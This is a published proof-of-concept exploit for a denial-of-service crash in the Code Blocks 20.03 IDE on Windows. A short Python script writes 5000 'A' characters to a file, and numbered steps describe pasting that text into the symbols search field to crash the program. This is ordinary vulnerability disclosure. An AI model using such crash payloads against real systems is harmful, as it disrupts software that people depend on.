# Exploit Title: Code Blocks 20.03 - Denial Of Service (PoC) # Vendor Homepage: http://www.codeblocks.org/ # Software Link Download: https://sourceforge.net/projects/codeblocks/files/Binaries/20.03/Windows/codeblocks-20.03-setup.exe/download# Exploit Author: Paras Bhatia# Discovery Date: 2020-06-23# Vulnerable Software: Code Blocks# Version: 20.03# Vulnerability Type: Denial of Service (DoS)# Tested on: Windows 7 Ultimate Service Pack 1 (32 bit - English)#Steps to Produce the Crash:# 1.- Run python code: CodeBlocksCrash.py# 2.- Copy content to clipboard# 3.- Open "codeblocks.exe"# 4.- In the "Management" section on left hand side, Click on "FSymbols" tab.# 5.- Select "Active project's symbols" from drop down "View:" menu.# 6.- Paste ClipBoard into the "Search:" field.# 7.- Press Enter from keyboard.# 8.- Crashed.###################################################################################################################################################Python "CodeBlocksCrash.py" Code:
f= open("CodeBlocksCrash.txt","w")
payload="\x41"* 5000
f.write(payload)
f.close()